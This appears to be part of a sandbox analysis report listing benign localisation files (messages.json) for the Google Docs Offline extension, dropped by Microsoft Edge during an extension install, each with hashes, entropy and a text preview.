C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
